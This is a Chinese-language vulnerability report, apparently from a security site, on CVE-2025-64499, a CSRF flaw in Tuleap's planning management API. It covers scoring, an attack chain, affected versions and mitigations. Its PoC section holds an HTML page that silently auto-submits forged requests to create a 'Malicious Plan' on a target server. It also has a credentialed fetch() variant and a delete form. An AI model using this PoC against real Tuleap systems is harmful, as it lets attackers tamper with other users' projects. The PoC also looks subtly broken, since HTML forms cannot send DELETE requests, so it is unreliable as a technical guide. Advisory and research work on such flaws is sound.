IPBUF安全漏洞报告
English
CVE-2025-64499 CVSS 4.6 中危

CVE-2025-64499 Tuleap规划管理API CSRF跨站请求伪造漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-64499
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Tuleap Community Edition, Tuleap Enterprise Edition

相关标签

CSRF跨站请求伪造Tuleap规划管理APICVE-2025-64499身份验证绕过Web应用安全项目管理软件

漏洞概述

CVE-2025-64499是Tuleap项目管理软件中存在的跨站请求伪造(CSRF)漏洞。Tuleap是一套免费开源的软件开发和协作管理套件,广泛应用于企业级项目管理、敏捷开发追踪和团队协作场景。该漏洞存在于Tuleap的规划管理API(planning management API)中,攻击者可以利用此漏洞在用户不知情的情况下,通过精心构造的恶意页面或链接,诱导已登录用户执行非预期的操作。由于规划管理API缺少必要的CSRF令牌验证机制,攻击者能够冒充合法用户执行创建、编辑或删除项目计划等敏感操作。成功利用此漏洞可能导致项目计划被恶意篡改、敏感信息泄露或业务中断,对使用受影响版本Tuleap的组织造成安全风险。攻击者无需获取用户凭证,仅需诱导用户访问恶意页面即可发起攻击,这使得该漏洞具有较高的隐蔽性和危害性。

技术细节

该CSRF漏洞源于Tuleap规划管理API端点缺乏CSRF令牌(Anti-CSRF Token)验证机制。在Web应用安全设计中,CSRF攻击利用用户已认证的会话状态,通过诱导用户访问恶意页面,自动向目标站点发送携带有效用户凭证的请求。Tuleap的规划管理功能在处理POST/PUT/DELETE请求时,未正确实现SameSite Cookie策略或验证请求来源的Referer/Origin头信息,也未在表单和API请求中嵌入随机生成的CSRF令牌。攻击者可以构造包含规划管理API调用的HTML页面(如自动提交的表单或隐藏的iframe),当认证用户访问该页面时,浏览器会自动携带用户的会话Cookie向Tuleap服务器发送请求。攻击者可通过JavaScript或HTML表单自动化构造针对规划创建(/api/planning)、编辑(PUT /api/planning/{id})和删除(DELETE /api/planning/{id})的恶意请求。由于API端点信任来自浏览器的请求,导致攻击者能够在用户不知情的情况下执行任意规划管理操作。修复版本在所有规划管理API请求中加入了CSRF令牌验证,并增强了SameSite Cookie属性配置。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意网站或发送包含恶意代码的钓鱼邮件/消息
STEP 2
步骤2
诱导已登录Tuleap的用户访问恶意页面
STEP 3
步骤3
用户浏览器自动发送携带有效会话Cookie的API请求到Tuleap服务器
STEP 4
步骤4
Tuleap规划管理API缺少CSRF验证,接受并执行恶意请求
STEP 5
步骤5
攻击者成功创建、修改或删除目标项目中的计划
STEP 6
步骤6
用户可能不知情,直到发现项目计划被篡改或业务受影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-64499: Tuleap Planning Management API --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-64499</title> </head> <body> <h1>CSRF PoC - Create Malicious Plan</h1> <p>This PoC demonstrates the CSRF vulnerability in Tuleap Planning Management API.</p> <!-- Auto-submit form to create a new plan --> <form id="csrfForm" action="https://target-tuleap.com/api/planning" method="POST" style="display:none;"> <input type="hidden" name="name" value="Malicious Plan" /> <input type="hidden" name="project_id" value="123" /> <input type="hidden" name="backlog_title" value="Backlog" /> <input type="hidden" name="plan_title" value="Sprint" /> </form> <!-- Auto-submit form to delete an existing plan --> <form id="deleteForm" action="https://target-tuleap.com/api/planning/456" method="DELETE" style="display:none;"> </form> <script> // Auto-submit for plan creation document.getElementById('csrfForm').submit(); // Or use fetch API for more control /* fetch('https://target-tuleap.com/api/planning', { method: 'POST', credentials: 'include', // Include cookies for authenticated session headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ name: 'Malicious Plan', project_id: 123, backlog_title: 'Backlog', plan_title: 'Sprint' }) }); */ </script> <p>Note: User must be authenticated to Tuleap for this attack to work.</p> </body> </html>

影响范围

Tuleap Community Edition < 17.0.99.1762456922
Tuleap Enterprise Edition < 17.0-2
Tuleap Enterprise Edition < 16.13-7
Tuleap Enterprise Edition < 16.12-10

防御指南

临时缓解措施
如无法立即升级,可采取以下临时缓解措施:1) 在浏览器中禁用第三方Cookie并启用SameSite by default功能;2) 定期检查项目计划和审计日志,及时发现异常变更;3) 对关键业务操作启用双因素认证;4) 使用CSP(内容安全策略)限制页面来源;5) 提醒用户不要点击来源不明的链接,尤其是要求登录的页面。但最有效的缓解措施仍是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表